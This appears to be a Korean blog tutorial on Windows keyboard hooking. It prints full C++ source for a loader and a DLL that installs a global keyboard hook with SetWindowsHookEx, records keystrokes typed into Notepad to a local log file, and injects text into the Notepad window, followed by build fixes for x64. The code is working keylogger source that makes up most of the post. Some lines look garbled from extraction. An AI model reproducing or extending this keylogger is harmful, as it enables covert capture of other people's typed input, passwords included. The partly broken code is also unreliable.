반응형



프로그램을 코딩하고, 프로그래밍에 관심이 있었다면 종종 해킹에 관해서도 생각 해 보았을 것이다.

후킹(Hooking)은 윈도우에서 어떠한 메세지를 낚아채는 것을 의미한다. 

여기서 메세지는 키보드 메세지가 될 수 도 있고, 마우스 메세지 등등이 될 수 있다.


이 게시물을 들어왔다면, 후킹이 무엇인지 어느정도 알고 있다는 가정 하에 글을 써내려 가려한다.


코드는 다음과 같다.



< 출처 : http://reversecore.com >



- HookMain.cpp -


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 
//dll 로더
#include "stdio.h"
#include "conio.h"
#include "windows.h"
 
#define DEF_DLL_NAME  "KeyHook.dll"
#define DEF_HOOKSTART  "HookStart"
#define DEF_HOOKSTOP  "HookStop"
 
typedef void(*PFN_HOOKSTART)();
typedef void(*PFN_HOOKSTOP)();
 
void main()
{
    HMODULE   hDll = NULL;
    PFN_HOOKSTART HookStart = NULL;
    PFN_HOOKSTOP HookStop = NULL;
    char   ch = 0;
 
    // KeyHook.dll 로드
    hDll = LoadLibrary("KeyHook.dll");
 
    // HookStrat, HookStop 함수의 주소를 얻어온다.
    HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
    HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);
 
    // 후킹 시작
    HookStart();
 
    // q가 입력될때 까지 로더는 아무런 기능을 하지않고 대기
    printf("press 'q' to quit!\n");
    while (getch() != 'q');
 
    // 후킹 종료
    HookStop();
 
    // KeyHook.dll 언로드
    FreeLibrary(hDll);
}
 
 
Crocus



- KeyHook.cpp -


이 파일은 dll파일로써 제작을 일반 코딩할때와 달리 다르게 제작해야 한다.











이렇게 한 후, 다음과 같이 KeyHook.cpp에 제작하면 된다.


 




( 이 코드는 http://satanel001.tistory.com/133의 코드를 이용하였습니다. )


dll의 cpp코드는 다양한 코드들이 존재하였지만, 키를 받아 저장하는 log.txt 파일까지 제공해주기에 이 코드를 이용하였다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
 
// KeyHook.dll
#include "stdio.h"
#include "windows.h"
 
#define DEF_PROCESS_NAME  "notepad.exe"
 
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;
FILE *f1;
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        g_hInstance = hinstDLL;
        break;
 
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern "C" {
    LRESULT __declspec(dllexport) CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        char szPath[MAX_PATH] = { 0, };
        char *= NULL;
        char ch;
        HWND pWnd, pEdit;
 
        if (nCode >= 0)
        {
            // bit 31 : 0 => key press, 1 => key release
            if (!(lParam & 0x80000000))
            {
                GetModuleFileName(NULL, szPath, MAX_PATH);
                p = strrchr(szPath, '\\');
 
                if (!stricmp(p + 1, DEF_PROCESS_NAME)) {
                    ch = (char)wParam; //wParam을 char로 강제형변환.. 대소문자 구분이 안되고 일부 깨짐
                    f1 = fopen("c:\\test\\log.txt""a"); //키보드 로그를 저장할 경로
                    fputc(ch, f1);
                    fclose(f1);
                    if (wParam == VK_RETURN) { //엔터가 입력된 경우 메모장의 윈도우를 얻어와 "hooking"을 출력한다.
                        pWnd = FindWindow("notepad", NULL); //메모장의 윈도우 얻어오기
                        if (pWnd == NULL) {
                            printf("null!");
                        }
                        else
                            pEdit = GetWindow(pWnd, GW_CHILD); //메모장의 하위 윈도우
 
                        if (pEdit != NULL) { //메모장에 출력하는 부분...
                            SendMessage(pEdit, WM_CHAR, 'h'0);
                            SendMessage(pEdit, WM_CHAR, 'o'0);
                            SendMessage(pEdit, WM_CHAR, 'o'0);
                            SendMessage(pEdit, WM_CHAR, 'k'0);
                            SendMessage(pEdit, WM_CHAR, 'i'0);
                            SendMessage(pEdit, WM_CHAR, 'n'0);
                            SendMessage(pEdit, WM_CHAR, 'g'0);
 
                            return 0;
                        }
                        return 0//0을 리턴하면 메시지는 정상 전달됨
                    }
 
                }
            }
 
 
        }
 
        // 일반적인 경우에는 CallNextHookEx() 를 호출하여
        // 응용프로그램 (혹은 다음 훅) 으로 메시지를 전달함
        return CallNextHookEx(g_hHook, nCode, wParam, lParam);
    }
}
 
#ifdef __cplusplus
extern "C" {
#endif
    __declspec(dllexportvoid HookStart()
    {
        g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0); //후킹 시작
        printf("Hook Start\n");
    }
    __declspec(dllexportvoid HookStop()
    {
        if (g_hHook)
        {
            UnhookWindowsHookEx(g_hHook); //후킹 종료
            g_hHook = NULL;
        }
    }
#ifdef __cplusplus
}
#endif
 
 
 
Crocus




여기까지 작성 후, dll로 저장된 파일을 HookMain.exe가 있는 폴더에 붙여넣어준다.









작성자는 test에 HookMain이 존재하고 TestDll에 dll파일이 존재하도록 나누었다.











이렇게 하면 돌아가야 하지만, 메모장에는 아무 글도 써지지 않고 콘솔창이 먹통이 될 수 있다.


문제의 원인은 다음과 같다. 64비트를 이용중인 윈도우에서 32비트짜리에 접근하려 할 때 호환이 되지 않기 때문에 나타나는 현상이다.


이때는 다음과 같이한다.



















즉, 86부분을 64로 모두 수정 혹은 , 아래와 같이 빠른 수정 기능을 이용한다.


참고로 HookMain.cpp와 KeyHook.cpp 모두 x64(64비트)로 수정해주어야 한다.








이렇게 한 후 디버그를 해주면 다시 다음과 같은 오류가 생긴다.




이 부분에 대해서는


http://www.crocus.co.kr/25


를 통해 해결 할 수 있다. (문자 집합 사용안함 혹은 멀티바이트 문자 집합 사용을 하면 된다.)



참고로 x64로 생성된 폴더의 debug에 모두 넣어주어야한다.





그리고 디버그를 하고 dll파일을 다시 옮겨주면 실행 결과물이 다음과 같게 나타난다.






abcdefg를 치고 엔터를 누르면 hooking이라고 나타나고 






log.txt 파일에 입력한 값들이 저장되고 엔터 친 횟수 만큼 음표가 생성된다.







반응형

'Applied > Hacking and Security' 카테고리의 다른 글

RSA 암호 알고리즘  (9) 2018.03.14
2의 보수, 보수(Complements)를 이용한 값 구하기  (6) 2016.10.20
진법 변환  (2) 2016.10.20
콘솔창에서의 인터넷 창 테러  (0) 2016.08.14
Keyczar - 암호화 Open API  (0) 2016.07.19